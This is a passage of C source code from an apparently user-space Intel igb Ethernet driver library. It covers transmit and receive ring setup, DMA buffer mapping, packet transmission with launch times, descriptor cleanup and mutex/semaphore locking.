E1000_SRRCTL(i), srrctl); /* Enable this Queue */ rxdctl = E1000_READ_REG(hw, E1000_RXDCTL(i)); rxdctl |= E1000_RXDCTL_QUEUE_ENABLE; rxdctl &= 0xFFF00000; rxdctl |= IGB_RX_PTHRESH; rxdctl |= IGB_RX_HTHRESH << 8; rxdctl |= IGB_RX_WTHRESH << 16; E1000_WRITE_REG(hw, E1000_RXDCTL(i), rxdctl); } if (igb_unlock(dev) != 0) return errno; return 0; } int igb_resume(device_t *dev) { struct adapter *adapter; struct tx_ring *txr; struct rx_ring *rxr; struct e1000_hw *hw; u32 txdctl, srrctl = 0; int i; if (dev == NULL) return -EINVAL; adapter = (struct adapter *)dev->private_data; if (adapter == NULL) return -ENXIO; txr = adapter->tx_rings; rxr = adapter->rx_rings; hw = &adapter->hw; txdctl = 0; if (igb_lock(dev) != 0) return errno; /* resume but don't reset the Tx Descriptor Rings */ for (i = 0; i < adapter->num_queues; i++, txr++) { /* idle the queue */ txdctl |= IGB_TX_PTHRESH; txdctl |= IGB_TX_HTHRESH << 8; txdctl |= IGB_TX_WTHRESH << 16; txdctl |= E1000_TXDCTL_PRIORITY; txdctl |= E1000_TXDCTL_QUEUE_ENABLE; E1000_WRITE_REG(hw, E1000_TXDCTL(i), txdctl); txr->queue_status = IGB_QUEUE_WORKING; } srrctl |= 2048 >> E1000_SRRCTL_BSIZEPKT_SHIFT; srrctl |= E1000_SRRCTL_DESCTYPE_ADV_ONEBUF; for (i = 0; i < adapter->num_queues; i++, rxr++) { u64 bus_addr = rxr->rxdma.paddr; u32 rxdctl; E1000_WRITE_REG(hw, E1000_RDLEN(i), adapter->num_rx_desc * sizeof(union e1000_adv_rx_desc)); E1000_WRITE_REG(hw, E1000_RDBAH(i), (uint32_t)(bus_addr >> 32)); E1000_WRITE_REG(hw, E1000_RDBAL(i), (uint32_t)bus_addr); E1000_WRITE_REG(hw, E1000_SRRCTL(i), srrctl); /* Enable this Queue */ rxdctl = E1000_READ_REG(hw, E1000_RXDCTL(i)); rxdctl |= E1000_RXDCTL_QUEUE_ENABLE; rxdctl &= 0xFFF00000; rxdctl |= IGB_RX_PTHRESH; rxdctl |= IGB_RX_HTHRESH << 8; rxdctl |= IGB_RX_WTHRESH << 16; E1000_WRITE_REG(hw, E1000_RXDCTL(i), rxdctl); } if (igb_unlock(dev) != 0) return errno; return 0; } int igb_init(device_t *dev) { struct adapter *adapter; if (dev == NULL) return -EINVAL; adapter = (struct adapter *)dev->private_data; if (adapter == NULL) return -ENXIO; if (igb_lock(dev) != 0) return errno; igb_reset(adapter); /* Prepare transmit descriptors and buffers */ if (adapter->tx_rings) { igb_setup_transmit_structures(adapter); igb_initialize_transmit_units(adapter); } if (adapter->rx_rings) { igb_setup_receive_structures(adapter); igb_initialize_receive_units(adapter); } if (igb_unlock(dev) != 0) return errno; return 0; } static void igb_reset(struct adapter *adapter) { struct tx_ring *txr = adapter->tx_rings; struct rx_ring *rxr = adapter->rx_rings; struct e1000_hw *hw = &adapter->hw; u32 txdctl, srrctl; int i; srrctl = 0; txdctl = 0; /* Set up the Tx Descriptor Rings, leave queues idle */ if (adapter->tx_rings == NULL) { #if DEBUG printf("txr null\n"); #endif } else { for (i = 0; i < adapter->num_queues; i++, txr++) { u64 bus_addr = txr->txdma.paddr; /* idle the queue */ txdctl |= IGB_TX_PTHRESH; txdctl |= IGB_TX_HTHRESH << 8; txdctl |= IGB_TX_WTHRESH << 16; E1000_WRITE_REG(hw, E1000_TXDCTL(i), txdctl); /* reset the descriptor head/tail */ E1000_WRITE_REG(hw, E1000_TDLEN(i), adapter->num_tx_desc * sizeof(struct e1000_tx_desc)); E1000_WRITE_REG(hw, E1000_TDBAH(i), (u_int32_t)(bus_addr >> 32)); E1000_WRITE_REG(hw, E1000_TDBAL(i), (u_int32_t)bus_addr); /* Setup the HW Tx Head and Tail descriptor pointers */ E1000_WRITE_REG(hw, E1000_TDT(i), 0); E1000_WRITE_REG(hw, E1000_TDH(i), 0); txr->queue_status = IGB_QUEUE_IDLE; } } srrctl |= 2048 >> E1000_SRRCTL_BSIZEPKT_SHIFT; srrctl |= E1000_SRRCTL_DESCTYPE_ADV_ONEBUF; /* Setup the Base and Length of the Rx Descriptor Rings */ if (adapter->rx_rings == NULL) { #if DEBUG printf("rxr null\n"); #endif } else { for (i = 0; i < adapter->num_queues; i++, rxr++) { u64 bus_addr = rxr->rxdma.paddr; u32 rxdctl; /* Disable this Queue */ E1000_WRITE_REG(hw, E1000_RXDCTL(i), 0); E1000_WRITE_REG(hw, E1000_RDLEN(i), adapter->num_rx_desc * sizeof(union e1000_adv_rx_desc)); E1000_WRITE_REG(hw, E1000_RDBAH(i), (uint32_t)(bus_addr >> 32)); E1000_WRITE_REG(hw, E1000_RDBAL(i), (uint32_t)bus_addr); E1000_WRITE_REG(hw, E1000_SRRCTL(i), srrctl); /* Enable this Queue */ rxdctl = E1000_READ_REG(hw, E1000_RXDCTL(i)); rxdctl |= E1000_RXDCTL_QUEUE_ENABLE; rxdctl &= 0xFFF00000; rxdctl |= IGB_RX_PTHRESH; rxdctl |= IGB_RX_HTHRESH << 8; rxdctl |= IGB_RX_WTHRESH << 16; E1000_WRITE_REG(hw, E1000_RXDCTL(i), rxdctl); } } } static int igb_read_mac_addr(struct e1000_hw *hw) { u32 rar_high; u32 rar_low; u16 i; rar_high = E1000_READ_REG(hw, E1000_RAH(0)); rar_low = E1000_READ_REG(hw, E1000_RAL(0)); for (i = 0; i < E1000_RAL_MAC_ADDR_LEN; i++) hw->mac.perm_addr[i] = (u8)(rar_low >> (i*8)); for (i = 0; i < E1000_RAH_MAC_ADDR_LEN; i++) hw->mac.perm_addr[i+4] = (u8)(rar_high >> (i*8)); for (i = 0; i < ETH_ADDR_LEN; i++) hw->mac.addr[i] = hw->mac.perm_addr[i]; return 0; } static int igb_allocate_pci_resources(struct adapter *adapter) { int dev = adapter->ldev; adapter->hw.hw_addr = (u8 *)mmap(NULL, adapter->csr.mmap_size, PROT_READ | PROT_WRITE, MAP_SHARED, dev, 0); if (adapter->hw.hw_addr == MAP_FAILED) return -ENXIO; return 0; } static void igb_free_pci_resources(struct adapter *adapter) { munmap(adapter->hw.hw_addr, adapter->csr.mmap_size); } /* * Manage DMA'able memory. */ int igb_dma_malloc_page(device_t *dev, struct igb_dma_alloc *dma) { struct adapter *adapter; int error = 0; struct igb_buf_cmd ubuf = {0}; if (dev == NULL) return -EINVAL; if (dma == NULL) return -EINVAL; adapter = (struct adapter *)dev->private_data; if (adapter == NULL) return -ENXIO; if (igb_lock(dev) != 0) { error = errno; goto err; } error = ioctl(adapter->ldev, IGB_IOCTL_MAPBUF, &ubuf); if (igb_unlock(dev) != 0) { error = errno; goto err; } if (error < 0) { if(error != -EINVAL) error = -ENOMEM; goto err; } dma->dma_paddr = ubuf.physaddr; dma->mmap_size = ubuf.mmap_size; dma->dma_vaddr = (void *)mmap(NULL, ubuf.mmap_size, PROT_READ | PROT_WRITE, MAP_SHARED, adapter->ldev, ubuf.pa); if (dma->dma_vaddr == MAP_FAILED) error = -ENOMEM; err: return error; } void igb_dma_free_page(device_t *dev, struct igb_dma_alloc *dma) { struct adapter *adapter; struct igb_buf_cmd ubuf; if (dev == NULL) return; if (dma == NULL) return; adapter = (struct adapter *)dev->private_data; if (adapter == NULL) return; munmap(dma->dma_vaddr, dma->mmap_size); ubuf.physaddr = dma->dma_paddr; if (igb_lock(dev) != 0) goto err; ioctl(adapter->ldev, IGB_IOCTL_UNMAPBUF, &ubuf); if (igb_unlock(dev) != 0) goto err; dma->dma_paddr = 0; dma->dma_vaddr = NULL; dma->mmap_size = 0; err: return; } /********************************************************************* * * Allocate memory for the transmit rings, and then * the descriptors associated with each, called only once at attach. * **********************************************************************/ static int igb_allocate_queues(struct adapter *adapter) { struct igb_buf_cmd ubuf = {0}; int dev = adapter->ldev; int i, error = 0; /* allocate the TX ring struct memory */ adapter->tx_rings = (struct tx_ring *) malloc(sizeof(struct tx_ring) * adapter->num_queues); if (adapter->tx_rings == NULL) { error = -ENOMEM; goto tx_fail; } memset(adapter->tx_rings, 0, sizeof(struct tx_ring) * adapter->num_queues); for (i = 0; i < adapter->num_queues; i++) { ubuf.queue = i; error = ioctl(dev, IGB_IOCTL_MAPRING, &ubuf); if (error < 0) { if(error == -EINVAL) goto tx_fail; error = EBUSY; goto tx_desc; } if (ubuf.physaddr % 128) printf("warning: tx ring addr (0x%lx) is not a 128 byte-aligned\n", ubuf.physaddr); adapter->tx_rings[i].txdma.paddr = ubuf.physaddr; adapter->tx_rings[i].txdma.mmap_size = ubuf.mmap_size; adapter->tx_rings[i].tx_base = NULL; adapter->tx_rings[i].tx_base = (struct e1000_tx_desc *)mmap(NULL, ubuf.mmap_size, PROT_READ | PROT_WRITE, MAP_SHARED, adapter->ldev, ubuf.pa); if (adapter->tx_rings[i].tx_base == MAP_FAILED) { error = -ENOMEM; goto tx_desc; } adapter->tx_rings[i].adapter = adapter; adapter->tx_rings[i].me = i; /* XXX Initialize a TX lock ?? */ adapter->num_tx_desc = ubuf.mmap_size / sizeof(union e1000_adv_tx_desc); /* * num_tx_desc must be always a multiple of 8 because the value of * TDLEN must be a multipe of 128 and each descriptor has 16 bytes. */ if (adapter->num_tx_desc % 8) printf("warning: num_tx_desc(%d) is not a multiple of 8\n", adapter->num_tx_desc); memset((void *)adapter->tx_rings[i].tx_base, 0, ubuf.mmap_size); adapter->tx_rings[i].tx_buffers = (struct igb_tx_buffer *) malloc(sizeof(struct igb_tx_buffer) * adapter->num_tx_desc); if (adapter->tx_rings[i].tx_buffers == NULL) { error = -ENOMEM; goto tx_desc; } memset(adapter->tx_rings[i].tx_buffers, 0, sizeof(struct igb_tx_buffer) * adapter->num_tx_desc); } return 0; tx_desc: for (i = 0; i < adapter->num_queues; i++) { if (adapter->tx_rings[i].tx_base) munmap(adapter->tx_rings[i].tx_base, adapter->tx_rings[i].txdma.mmap_size); ubuf.queue = i; ioctl(dev, IGB_IOCTL_UNMAPRING, &ubuf); }; tx_fail: free(adapter->tx_rings); adapter->tx_rings = NULL; return error; } /* Initialize a transmit ring. */ static void igb_setup_transmit_ring(struct tx_ring *txr) { struct adapter *adapter = txr->adapter; /* Clear the old descriptor contents */ memset((void *)txr->tx_base, 0, (sizeof(union e1000_adv_tx_desc)) * adapter->num_tx_desc); memset(txr->tx_buffers, 0, sizeof(struct igb_tx_buffer) * txr->adapter->num_tx_desc); /* Reset indices */ txr->next_avail_desc = 0; txr->next_to_clean = 0; /* Set number of descriptors available */ txr->tx_avail = adapter->num_tx_desc; } /* Initialize all transmit rings. */ static void igb_setup_transmit_structures(struct adapter *adapter) { struct tx_ring *txr = adapter->tx_rings; int i; for (i = 0; i < adapter->num_queues; i++, txr++) igb_setup_transmit_ring(txr); } /*Enable transmit unit. */ static void igb_initialize_transmit_units(struct adapter *adapter) { struct tx_ring *txr = adapter->tx_rings; struct e1000_hw *hw = &adapter->hw; u32 txdctl; int i; txdctl = 0; /* Setup the Tx Descriptor Rings */ for (i = 0; i < adapter->num_queues; i++, txr++) { txdctl = 0; E1000_WRITE_REG(hw, E1000_TXDCTL(i), txdctl); /* Setup the HW Tx Head and Tail descriptor pointers */ E1000_WRITE_REG(hw, E1000_TDT(i), 0); E1000_WRITE_REG(hw, E1000_TDH(i), 0); txr->queue_status = IGB_QUEUE_IDLE; txdctl |= IGB_TX_PTHRESH; txdctl |= IGB_TX_HTHRESH << 8; txdctl |= IGB_TX_WTHRESH << 16; txdctl |= E1000_TXDCTL_PRIORITY; txdctl |= E1000_TXDCTL_QUEUE_ENABLE; E1000_WRITE_REG(hw, E1000_TXDCTL(i), txdctl); } } /* Free all transmit rings. */ static void igb_free_transmit_structures(struct adapter *adapter) { int i; struct igb_buf_cmd ubuf = {0}; for (i = 0; i < adapter->num_queues; i++) { if (adapter->tx_rings[i].tx_base) munmap(adapter->tx_rings[i].tx_base, adapter->tx_rings[i].txdma.mmap_size); ubuf.queue = i; ioctl(adapter->ldev, IGB_IOCTL_UNMAPRING, &ubuf); free(adapter->tx_rings[i].tx_buffers); } free(adapter->tx_rings); adapter->tx_rings = NULL; } /* Context Descriptor setup for VLAN or CSUM */ static void igb_tx_ctx_setup(struct tx_ring *txr, struct igb_packet *packet) { struct adapter *adapter = txr->adapter; struct e1000_adv_tx_context_desc *TXD; struct igb_tx_buffer *tx_buffer; u32 type_tucmd_mlhl; int ctxd; u_int64_t remapped_time; ctxd = txr->next_avail_desc; tx_buffer = &txr->tx_buffers[ctxd]; TXD = (struct e1000_adv_tx_context_desc *) &txr->tx_base[ctxd]; type_tucmd_mlhl = E1000_ADVTXD_DCMD_DEXT | E1000_ADVTXD_DTYP_CTXT; /* Now copy bits into descriptor */ TXD->vlan_macip_lens = 0; TXD->type_tucmd_mlhl = htole32(type_tucmd_mlhl); TXD->mss_l4len_idx = 0; /* remap the 64-bit nsec time to the value represented in the desc */ remapped_time = packet->attime - ((packet->attime / 1000000000) * 1000000000); remapped_time /= 32; /* scale to 32 nsec increments */ TXD->seqnum_seed = remapped_time; tx_buffer->packet = NULL; tx_buffer->next_eop = -1; /* We've consumed the first desc, adjust counters */ if (++ctxd == adapter->num_tx_desc) ctxd = 0; txr->next_avail_desc = ctxd; --txr->tx_avail; } /********************************************************************* * * This routine maps a single buffer to an Advanced TX descriptor. * returns ENOSPC if we run low on tx descriptors and the app needs to * cleanup descriptors. * * this is a simplified routine which doesn't do LSO, checksum offloads, * multiple fragments, etc. The provided buffers are assumed to have * been previously mapped with the provided dma_malloc_page routines. * **********************************************************************/ int igb_xmit(device_t *dev, unsigned int queue_index, struct igb_packet *packet) { struct adapter *adapter; struct tx_ring *txr; struct igb_tx_buffer *tx_buffer; union e1000_adv_tx_desc *txd = NULL; u32 cmd_type_len, olinfo_status = 0; int i, first, last = 0; int error = 0; if (dev == NULL) return -EINVAL; adapter = (struct adapter *)dev->private_data; if (adapter == NULL) return -ENXIO; txr = &adapter->tx_rings[queue_index]; if (!txr) return -EINVAL; if (queue_index > adapter->num_queues) return -EINVAL; if (packet == NULL) return -EINVAL; if (igb_lock(dev) != 0) return errno; packet->next = NULL; /* used for cleanup */ /* Set basic descriptor constants */ cmd_type_len = E1000_ADVTXD_DTYP_DATA; cmd_type_len |= E1000_ADVTXD_DCMD_IFCS | E1000_ADVTXD_DCMD_DEXT; /* cmd_type_len |= E1000_ADVTXD_DCMD_VLE; to enable VLAN insertion */ /* * Map the packet for DMA * * Capture the first descriptor index, * this descriptor will have the index * of the EOP which is the only one that * now gets a DONE bit writeback. */ first = txr->next_avail_desc; tx_buffer = &txr->tx_buffers[first]; /* * Make sure we don't overrun the ring, * we need nsegs descriptors and one for * the context descriptor used for the * offloads. */ if (txr->tx_avail <= 2) { error = ENOSPC; goto unlock; } /* * Set up the context descriptor to specify * launchtimes for the packet. */ igb_tx_ctx_setup(txr, packet); /* * for performance monitoring, report the DMA time of the tx desc wb */ olinfo_status |= E1000_TXD_DMA_TXDWB; /* set payload length */ olinfo_status |= packet->len << E1000_ADVTXD_PAYLEN_SHIFT; /* Set up our transmit descriptors */ i = txr->next_avail_desc; /* we assume every packet is contiguous */ tx_buffer = &txr->tx_buffers[i]; txd = (union e1000_adv_tx_desc *)&txr->tx_base[i]; txd->read.buffer_addr = htole64(packet->map.paddr + packet->offset); txd->read.cmd_type_len = htole32(cmd_type_len | packet->len); txd->read.olinfo_status = htole32(olinfo_status); last = i; if (++i == adapter->num_tx_desc) i = 0; tx_buffer->packet = NULL; tx_buffer->next_eop = -1; txr->next_avail_desc = i; txr->tx_avail--; tx_buffer->packet = packet; /* * Last Descriptor of Packet * needs End Of Packet (EOP) * and Report Status (RS) */ txd->read.cmd_type_len |= htole32(E1000_ADVTXD_DCMD_EOP | E1000_ADVTXD_DCMD_RS); /* * Keep track in the first buffer which * descriptor will be written back */ tx_buffer = &txr->tx_buffers[first]; tx_buffer->next_eop = last; /* * Advance the Transmit Descriptor Tail (TDT), this tells the E1000 * that this frame is available to transmit. */ E1000_WRITE_REG(&adapter->hw, E1000_TDT(txr->me), i); ++txr->tx_packets; unlock: if (igb_unlock(dev) != 0) return errno; return error; } void igb_trigger(device_t *dev, u_int32_t data) { struct adapter *adapter; if (dev == NULL) return; adapter = (struct adapter *)dev->private_data; if (adapter == NULL) return; if (igb_lock(dev) != 0) return; E1000_WRITE_REG(&(adapter->hw), E1000_WUS, data); if (igb_unlock(dev) != 0) return; } void igb_writereg(device_t *dev, u_int32_t reg, u_int32_t data) { struct adapter *adapter; if (dev == NULL) return; adapter = (struct adapter *)dev->private_data; if (adapter == NULL) return; E1000_WRITE_REG(&(adapter->hw), reg, data); } void igb_readreg(device_t *dev, u_int32_t reg, u_int32_t *data) { struct adapter *adapter; if (dev == NULL) return; adapter = (struct adapter *)dev->private_data; if (adapter == NULL) return; if (data == NULL) return; *data = E1000_READ_REG(&(adapter->hw), reg); } int igb_lock(device_t *dev) { struct adapter *adapter; int error = -1; if (dev == NULL) return -ENODEV; adapter = (struct adapter *)dev->private_data; if (adapter == NULL) return -ENXIO; if (adapter->active != 1) // detach in progress return -ENXIO; if (!adapter->memlock) return -ENXIO; error = pthread_mutex_lock(adapter->memlock); switch (error) { case 0: break; case EOWNERDEAD: // some process terminated without unlocking the mutex if (pthread_mutex_consistent(adapter->memlock) != 0) return -errno; break; default: return -errno; break; } if (adapter->active != 1) { (void) pthread_mutex_unlock(adapter->memlock); return -ENXIO; } return 0; } int igb_unlock(device_t *dev) { struct adapter *adapter; if (dev == NULL) return -ENODEV; adapter = (struct adapter *)dev->private_data; if (adapter == NULL) return -ENXIO; if (!adapter->memlock) return -ENXIO; return pthread_mutex_unlock(adapter->memlock); } /********************************************************************** * * Examine each tx_buffer in the used queue. If the hardware is done * processing the packet then return the linked list of associated resources. * **********************************************************************/ void igb_clean(device_t *dev, struct igb_packet **cleaned_packets) { struct e1000_tx_desc *tx_desc, *eop_desc; struct igb_packet *last_reclaimed; struct igb_tx_buffer *tx_buffer; struct adapter *adapter; struct tx_ring *txr; int first, last, done, processed, i; if (dev == NULL) return; adapter = (struct adapter *)dev->private_data; if (adapter == NULL) return; if (cleaned_packets == NULL) return; *cleaned_packets = NULL; /* nothing reclaimed yet */ if (igb_lock(dev) != 0) return; for (i = 0; i < adapter->num_queues; i++) { txr = &adapter->tx_rings[i]; if (txr->tx_avail == adapter->num_tx_desc) { txr->queue_status = IGB_QUEUE_IDLE; continue; } processed = 0; first = txr->next_to_clean; tx_desc = &txr->tx_base[first]; tx_buffer = &txr->tx_buffers[first]; last = tx_buffer->next_eop; eop_desc = &txr->tx_base[last]; /* * What this does is get the index of the * first descriptor AFTER the EOP of the * first packet, that way we can do the * simple comparison on the inner while loop. */ if (++last == adapter->num_tx_desc) last = 0; done = last; while (eop_desc->upper.fields.status & E1000_TXD_STAT_DD) { if (tx_buffer->packet) last_reclaimed = tx_buffer->packet; /* We clean the range of the packet */ while (first != done) { if (tx_buffer->packet) { tx_buffer->packet->dmatime = (0xffffffff) & tx_desc->buffer_addr; /* tx_buffer->packet->dmatime += * (tx_desc->buffer_addr >> 32) * * 1000000000; */ txr->bytes += tx_buffer->packet->len; if (*cleaned_packets == NULL) { *cleaned_packets = tx_buffer->packet; } else { last_reclaimed->next = tx_buffer->packet; } last_reclaimed = tx_buffer->packet; tx_buffer->packet = NULL; } tx_buffer->next_eop = -1; tx_desc->upper.data = 0; tx_desc->lower.data = 0; tx_desc->buffer_addr = 0; ++txr->tx_avail; ++processed; if (++first == adapter->num_tx_desc) first = 0; tx_buffer = &txr->tx_buffers[first]; tx_desc = &txr->tx_base[first]; } ++txr->packets; /* See if we can continue to the next packet */ last = tx_buffer->next_eop; if (last != -1) { eop_desc = &txr->tx_base[last]; /* Get new done point */ if (++last == adapter->num_tx_desc) last = 0; done = last; } else break; } txr->next_to_clean = first; if (txr->tx_avail >= IGB_QUEUE_THRESHOLD) txr->queue_status &= ~IGB_QUEUE_DEPLETED; } igb_unlock(dev); } /********************************************************************* * * Allocate memory for the receive rings, and then * the descriptors associated with each, called only once at attach. * **********************************************************************/ static int igb_allocate_rx_queues(struct adapter *adapter) { struct igb_buf_cmd ubuf; int dev = adapter->ldev; int i, error = 0; /* allocate the RX ring struct memory */ adapter->rx_rings = (struct rx_ring *) malloc(sizeof(struct rx_ring) * adapter->num_queues); if (adapter->rx_rings == NULL) { error = -ENOMEM; goto rx_fail; } memset(adapter->rx_rings, 0, sizeof(struct rx_ring) * adapter->num_queues); for (i = 0; i < adapter->num_queues; i++) { if (sem_init(&adapter->rx_rings[i].lock, 0, 1) != 0) { error = errno; goto rx_desc; } if (sem_wait(&adapter->rx_rings[i].lock) != 0) { error = errno; goto rx_desc; } ubuf.queue = i; error = ioctl(dev, IGB_IOCTL_MAP_RX_RING, &ubuf); if (error < 0) { if(error == -EINVAL) goto rx_fail; error = EBUSY; goto rx_desc; } if (ubuf.physaddr % 128) printf("warning: rx ring addr (0x%lx) is not a 128 byte-aligned\n", ubuf.physaddr); adapter->rx_rings[i].rxdma.paddr = ubuf.physaddr; adapter->rx_rings[i].rxdma.mmap_size = ubuf.mmap_size; adapter->rx_rings[i].rx_base = NULL; adapter->rx_rings[i].rx_base = mmap(NULL, ubuf.mmap_size, PROT_READ | PROT_WRITE, MAP_SHARED, adapter->ldev, ubuf.pa); if (adapter->rx_rings[i].rx_base == MAP_FAILED) { error = -ENOMEM; goto rx_desc; } adapter->rx_rings[i].adapter = adapter; adapter->rx_rings[i].me = i; adapter->num_rx_desc = ubuf.mmap_size / sizeof(union e1000_adv_rx_desc); /* * num_rx_desc must be always a multiple of 8 because the value of * RDLEN must be a multipe of 128 and each descriptor has 16 bytes. */ if (adapter->num_rx_desc % 8) printf("num_rx_desc(%d) is not a multiple of 8\n", adapter->num_rx_desc); memset((void *)adapter->rx_rings[i].rx_base, 0, ubuf.mmap_size); adapter->rx_rings[i].rx_buffers = (struct igb_rx_buffer *) malloc(sizeof(struct igb_rx_buffer) * adapter->num_rx_desc); if (adapter->rx_rings[i].rx_buffers == NULL) { error = -ENOMEM; goto rx_desc; } memset(adapter->rx_rings[i].rx_buffers, 0, sizeof(struct igb_rx_buffer) * adapter->num_rx_desc); if (sem_post(&adapter->rx_rings[i].lock) != 0) { error = errno; goto rx_desc; } } return 0; rx_desc: for (i = 0; i < adapter->num_queues; i++) { if (adapter->rx_rings[i].rx_base) munmap(adapter->rx_rings[i].rx_base, adapter->rx_rings[i].rxdma.mmap_size); ubuf.queue = i; ioctl(dev, IGB_IOCTL_UNMAP_RX_RING, &ubuf); sem_destroy(&adapter->rx_rings[i].lock); }; rx_fail: free(adapter->rx_rings); adapter->rx_rings = NULL; return error; } static void igb_free_receive_ring(struct rx_ring *rxr) { struct adapter *adapter = rxr->adapter; struct igb_rx_buffer *rxbuf; int i; for (i = 0; i < adapter->num_rx_desc; i++) { rxbuf = &rxr->rx_buffers[i]; rxbuf->next_eop = 0; rxbuf->packet = NULL; } } /* Initialize a receive ring. */ static void igb_setup_receive_ring(struct rx_ring *rxr) { struct adapter *adapter = rxr->adapter; (void)sem_wait(&rxr->lock); /* Clear the ring contents */ memset((void *)rxr->rx_base, 0, (sizeof(union e1000_adv_rx_desc)) * adapter->num_rx_desc); memset(rxr->rx_buffers, 0, sizeof(struct igb_rx_buffer) * rxr->adapter->num_rx_desc); /* Free current RX buffer structures */ igb_free_receive_ring(rxr); /* Setup our descriptor indices */ rxr->next_to_check = 0; rxr->next_to_refresh = 0; rxr->rx_split_packets = 0; rxr->rx_bytes = 0; (void)sem_post(&rxr->lock); } /* Initialize all receive rings. */ static void igb_setup_receive_structures(struct adapter *adapter) { struct rx_ring *rxr = adapter->rx_rings; int i; for (i = 0; i < adapter->num_queues; i++, rxr++) igb_setup_receive_ring(rxr); } /* Enable receive unit. */ static void igb_initialize_receive_units(struct adapter *adapter) { struct rx_ring *rxr = adapter->rx_rings; struct e1000_hw *hw = &adapter->hw; u32 rctl, rxcsum, srrctl = 0; int i; /* * Make sure receives are disabled while setting * up the descriptor ring */ rctl = E1000_READ_REG(hw, E1000_RCTL); E1000_WRITE_REG(hw, E1000_RCTL, rctl & ~E1000_RCTL_EN); rctl &= ~E1000_RCTL_LPE; srrctl |= 2048 >> E1000_SRRCTL_BSIZEPKT_SHIFT; srrctl |= E1000_SRRCTL_DESCTYPE_ADV_ONEBUF; rctl |= E1000_RCTL_SZ_2048; /* Setup the Base and Length of the Rx Descriptor Rings */ for (i = 0; i < adapter->num_queues; i++, rxr++) { u64 bus_addr = rxr->rxdma.paddr; u32 rxdctl; /* Disable this Queue */ E1000_WRITE_REG(hw, E1000_RXDCTL(i), 0); E1000_WRITE_REG(hw, E1000_RDLEN(i), adapter->num_rx_desc * sizeof(union e1000_adv_rx_desc)); E1000_WRITE_REG(hw, E1000_RDBAH(i), (uint32_t)(bus_addr >> 32)); E1000_WRITE_REG(hw, E1000_RDBAL(i), (uint32_t)bus_addr); E1000_WRITE_REG(hw, E1000_SRRCTL(i), srrctl); /* Enable this Queue */ rxdctl = E1000_READ_REG(hw, E1000_RXDCTL(i)); rxdctl |= E1000_RXDCTL_QUEUE_ENABLE; rxdctl &= 0xFFF00000; rxdctl |= IGB_RX_PTHRESH; rxdctl |= IGB_RX_HTHRESH << 8; rxdctl |= IGB_RX_WTHRESH << 16; E1000_WRITE_REG(hw, E1000_RXDCTL(i), rxdctl); } /* * Setup for RX MultiQueue * Non RSS setup */ rxcsum = E1000_READ_REG(hw, E1000_RXCSUM); rxcsum |= E1000_RXCSUM_IPPCSE; /* rxcsum &= ~E1000_RXCSUM_TUOFL; */ E1000_WRITE_REG(hw, E1000_RXCSUM, rxcsum); /* Setup the Receive Control Register */ rctl &= ~(3 << E1000_RCTL_MO_SHIFT); rctl |= E1000_RCTL_EN | E1000_RCTL_BAM | E1000_RCTL_LBM_NO | E1000_RCTL_RDMTS_HALF; /* Strip CRC bytes. */ rctl |= E1000_RCTL_SECRC; /* Make sure VLAN Filters are off */ rctl &= ~E1000_RCTL_VFE; /* Don't store bad packets */ rctl &= ~E1000_RCTL_SBP; /* Enable Receives */ E1000_WRITE_REG(hw, E1000_RCTL, rctl); /* * Setup the HW Rx Head and Tail Descriptor Pointers * - needs to be after enable */ for (i = 0; i < adapter->num_queues; i++) { rxr = &adapter->rx_rings[i]; E1000_WRITE_REG(hw, E1000_RDH(i), rxr->next_to_check); E1000_WRITE_REG(hw, E1000_RDT(i), rxr->next_to_refresh); } } /* Free all receive rings. */ static void igb_free_receive_structures(struct adapter *adapter) { struct rx_ring *rxr = adapter->rx_rings; int i; struct igb_buf_cmd ubuf; for (i = 0; i < adapter->num_queues; i++, rxr++) { (void)sem_wait(&adapter->rx_rings[i].lock); if (rxr->rx_base) { memset(rxr->rx_base, 0, rxr->rxdma.mmap_size); munmap(rxr->rx_base, rxr->rxdma.mmap_size); } ubuf.queue = i; ioctl(adapter->ldev, IGB_IOCTL_UNMAP_RX_RING, &ubuf); igb_free_receive_buffers(rxr); (void)sem_destroy(&adapter->rx_rings[i].lock); } free(adapter->rx_rings); adapter->rx_rings = NULL; } /* Free receive ring data structures. */ static void igb_free_receive_buffers(struct rx_ring *rxr) { struct adapter *adapter = rxr->adapter; struct igb_rx_buffer *rxbuf; int i; /* Cleanup any existing buffers */ if (rxr->rx_buffers != NULL) { for (i = 0; i < adapter->num_rx_desc; i++) { rxbuf = &rxr->rx_buffers[i]; rxbuf->next_eop = 0; rxbuf->packet = NULL; } if (rxr->rx_buffers != NULL) { free(rxr->rx_buffers); rxr->rx_buffers = NULL; } } } /* * Refresh mbuf buffers for RX descriptor rings * - now keeps its own state so discards due to resource * exhaustion are unnecessary, if an mbuf cannot be obtained * it just returns, keeping its placeholder, thus it can simply * be recalled to try again. * */ int igb_refresh_buffers(device_t *dev, u_int32_t idx, struct igb_packet **rxbuf_packets, u_int32_t num_bufs) { struct igb_packet *cur_pkt; struct adapter *adapter; struct rx_ring *rxr; u_int32_t i, j, bufs_used; bool refreshed = FALSE; if (dev == NULL) return -EINVAL; adapter = (struct adapter *)dev->private_data; if (adapter == NULL) return -EINVAL; if (adapter->active != 1) // detach in progress return -ENXIO; if (rxbuf_packets == NULL) return -EINVAL; if (idx > 1) return -EINVAL; rxr = &adapter->rx_rings[idx]; if (rxr == NULL) return -EINVAL; if (sem_trywait(&rxr->lock) != 0) return errno; /* EAGAIN */ if (adapter->active != 1) { sem_post(&rxr->lock); return -ENXIO; } i = j = rxr->next_to_refresh; cur_pkt = *rxbuf_packets; /* * Get one descriptor beyond * our work mark to control * the loop. */ if (++j == adapter->num_rx_desc) j = 0; bufs_used = 0; while (bufs_used < num_bufs) { if (!cur_pkt) break; rxr->rx_base[i].read.pkt_addr = htole64(cur_pkt->map.paddr + cur_pkt->offset); rxr->rx_buffers[i].packet = cur_pkt; refreshed = TRUE; /* I feel wefreshed :) */ i = j; /* our next is precalculated */ rxr->next_to_refresh = i; if (++j == adapter->num_rx_desc) j = 0; bufs_used++; cur_pkt = cur_pkt->next; } if (refreshed) /* update tail */ E1000_WRITE_REG(&adapter->hw, E1000_RDT(rxr->me), rxr->next_to_refresh); if (sem_post(&rxr->lock) != 0) return errno; return 0; } /********************************************************************** * * Examine each rx_buffer in the used queue. If the hardware is done * processing the packet then return the linked list of associated resources. * **********************************************************************/ int igb_receive(device_t *dev, unsigned int queue_index, struct igb_packet **received_packets, u_int32_t *count) { struct adapter *adapter; struct rx_ring *rxr; union e1000_adv_rx_desc *cur; bool eop = FALSE; u_int32_t staterr = 0; u_int32_t desc = 0; u_int32_t max_pkt = 0; struct igb_packet *curr_pkt = NULL; struct igb_packet *prev_pkt = NULL; if (dev == 